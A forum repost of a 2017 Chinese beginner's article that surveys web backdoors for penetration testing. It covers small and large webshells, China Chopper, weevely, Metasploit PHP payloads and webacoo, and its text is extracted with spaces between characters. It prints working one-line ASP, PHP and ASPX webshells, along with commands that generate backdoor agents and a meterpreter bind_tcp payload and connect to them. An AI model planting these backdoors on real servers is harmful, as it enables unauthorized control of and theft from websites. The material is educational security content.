搜索

[11188] 2017-03-31_【新手科普】盘点常见的Web后门

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2017-03-31_【新手科普】盘点常见的Web后门 【 新 手 科 普 】 盘 点 常 见 的 W e b 后 门 你 会 忘 了 我   F r e e B u f   2 0 1 7 - 0 3 - 3 1 在 对 一 个 w e b 站 点 进 行 渗 透 测 试 的 渗 透 攻 击 阶 段 ， 一 般 会 想 办 法 突 破 上 传 限 制 ， 向 目 标 可 执 行 目 录 中 写 入 一 个 带 有 攻 击 性 质 的 脚 本 来 协 助 获 取 更 大 的 服 务 器 权 限 。 这 里 我 们 就 一 起 来 盘 点 一 下 常 用 的 w e b 后 门 吧 ！ 大 马 与 小 马 在 几 年 前 很 流 行 的 网 站 入 侵 打 油 诗 中 有 写 ：   进 谷 歌   找 注 入 没 注 入   就 旁 注 没 旁 注   用 0 d a y 没 0 d a y   猜 目 录 没 目 录   就 嗅 探 爆 账 户   找 后 台 传 小 马   放 大 马 拿 权 限   挂 页 面 放 暗 链   清 数 据 清 日 志   留 后 门 其 中 的 传 小 马 上 大 马 就 是 我 们 要 说 的 小 马 大 马 了 ， 小 马 的 功 能 一 般 都 比 较 单 一 ， 作 用 一 般 是 向 服 务 器 中 写 入 文 件 数 据 。 因 为 其 功 能 单 一 的 特 性 ， 隐 蔽 性 通 常 都 比 较 高 。 有 些 网 站 对 上 传 文 件 大 小 做 了 限 制 ， 小 马 因 为 占 用 空 间 也 小 也 能 绕 过 这 些 限 制 。 这 里 贴 一 个 p h p 小 马
大 马 一 般 就 提 供 了 更 多 的 功 能 ， 例 如 辅 助 提 权 ， 执 行 s q l 语 句 ， 反 弹 s h e l l 等 。 不 过 网 上 很 多 的 大 马 都 加 了 后 门 ， 例 如 图 中 的 这 款 从 m u m a a s p . c o m 这 个 网 站 下 载 的 一 款 大 马 会 将 木 马 的 地 址 和 密 码 提 交 到 h t t p : / / w w w . m u m a a s p . c o m / x z / s x . a s p 这 个 网 址 中 国 菜 刀 中 国 菜 刀 和 一 句 话 木 马 想 必 是 大 家 最 熟 悉 的 了 ， 中 国 菜 刀 支 持 a s p 、 p h p 、 a s p . n e t 和 j s p 等 w e b 编 程 语 言 ， 小 巧 的 中 国 菜 刀 还 自 带 了 很 多 实 用 的 功 能 。 例 如 虚 拟 终 端
还 有 例 如 安 全 扫 描 ， 定 时 闹 钟 ， 数 据 库 管 理 等 功 能 ， 甚 至 内 置 了 一 个 网 页 浏 览 器 。 使 用 方 法 也 很 简 单 ， 就 是 往 目 标 w e b 服 务 器 上 传 相 应 的 一 句 话 木 马 。 a s p 一 句 话 木 马 ： < % e x e c u t e ( r e q u e s t ( " p a s s " ) ) % > p h p 一 句 话 木 马 ： < ? p h p   @ e v a l ( $ _ P O S T [ p a s s ] ) ; ? > a s p x 一 句 话 木 马 ： < % @   P a g e   L a n g u a g e = " J s c r i p t " % > < % e v a l ( R e q u e s t . I t e m [ " p a s s " ] ) % > 网 上 也 有 很 多 仿 冒 中 国 菜 刀 的 官 网 发 布 加 了 后 门 的 中 国 菜 刀 。 在 l i n u x 下 也 有 很 多 替 代 中 国 菜 刀 的 开 源 产 品 ， 例 如 中 国 蚁 剑 和 C 刀 。 W e e v e l y 在 k a l i   l i n u x 中 ， 我 们 用 的 比 较 多 的 就 是 这 款 p h p 后 门 管 理 工 具   w e e v e l y 了 。 W e e v e l y 支 持 的 功 能 很 强 大 ， 使 用 h t t p 头 进 行 指 令 传 输 。 唯 一 的 缺 陷 就 是 只 支 持 p h p 。
我 们 通 过 帮 助 可 以 看 到 ， w e e v e l y 的 使 用 还 是 很 简 单 的 ， 首 先 我 们 在 / r o o t 目 录 下 生 成 一 个 名 为 w e e v e l y . p h p 密 码 为 1 2 3 的 b a c k d o o r   a g e n t 。 w e e v e l y   g e n e r a t e   1 2 3   / r o o t / w e e v e l y . p h p 然 后 我 们 只 要 上 传 到 目 标 服 务 器 之 后 运 行 w e e v e l y   < 目 标 U R L >   < 密 码 > 就 能 成 功 连 接 上 了  
m e t a s p l o i t m e t a s p l o i t 框 架 中 其 实 也 自 带 了 p h p 的 后 门 ， 并 且 配 合 m e t e r p r e t e r 功 能 强 大 。 在 这 里 提 一 下 正 向 连 接 和 反 向 连 接 ( b i n d _ t c p   r e v e r s e _ t c p ) b i n d _ t c p : 在 这 里 黑 客 主 动 去 连 接 目 标 主 机 ， 就 叫 作 正 向 连 接 。 适 用 的 情 况 是 服 务 器 在 外 网 的 情 况 。 r e v e r s e _ t c p : 在 这 个 例 子 中 反 向 连 接 就 是 被 入 侵 的 主 机 反 过 来 来 连 接 黑 客 ， 就 叫 作 反 向 连 接 ， 在 目 标 服 务 器 在 内 网 或 有 防 火 墙 的 情 况 下 使 用 。 m s f v e n o m   - p   p h p / m e t e r p r e t e r / b i n d _ t c p   l h o s t = 1 7 2 . 2 4 . 3 . 2 0   l p o r t = 4 4 4 4   - o   / r o o t / m s f . p h p   其 中 l h o s t 为 目 标 服 务 器 的 地 址   l p o r t 是 目 标 服 务 器 会 开 放 的 端 口   - o 后 面 是 后 门 输 出 的 路 径 。 然 后 进 入 m s f c o n s o l e 选 择 e x p l o i t / m u l t i / h a n d l e r 这 个 模 块 然 后 设 置 p a y l o a d 为 p h p / m e t e r p r e t e r / b i n d _ t c p 最 后 设 置 一 下 目 标 的 i p 然 后 输 入 r u n 开 始 监 听 触 发 木 马 的 方 法 就 是 访 问 后 门 的 网 址 然 后 m s f c o n s o l e 如 果 有 连 接 信 息 说 明 已 经 连 接 成 功
​ 使 用 方 式 可 以 参 考 m e t e r p r e t e r 参 考 链 接 ] ( h t t p : / / w w w . e v i l 0 x . c o m / p o s t s / 8 3 8 . h t m l w e b a c o o w e b a c o o 是 用 b a s e 6 4 编 码 后 隐 藏 在 C o o k i e 头 中 ， 隐 蔽 性 较 强 ， w e b a c o o 的 缺 点 是 不 能 指 定 密 码 ， 所 以 。 。 。 不 推 荐 作 为 持 续 性 攻 击 的 权 限 维 持 的 选 择 w e b a c o o   - g   - o   / r o o t / w e b a c o o . p h p 生 成 w e b a c o o . p h p 存 放 在 / r o o t 目 录 下 上 传 成 功 之 后 用 命 令 w e b a c o o   - t   - u   来 连 接
成 功 后 会 生 成 一 个 仿 真 终 端 ， 可 以 使 用 l o a d 命 令 来 加 载 模 块 ， 之 后 可 以 进 行 上 传 下 载 ， 连 接 数 据 库 等 操 作 。 只 是 不 能 设 置 密 码 是 个 硬 伤 。 参 考 网 站 ： h t t p : / / w w w . j b 5 1 . n e t / a r t i c l e / 3 0 2 3 4 . h t m * 本 文 作 者 ： 你 会 忘 了 我 ， 转 载 请 注 明 来 自 本 文 作 者 ： 你 会 忘 了 我 ， 转 载 请 注 明 来 自 F r e e B u f 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理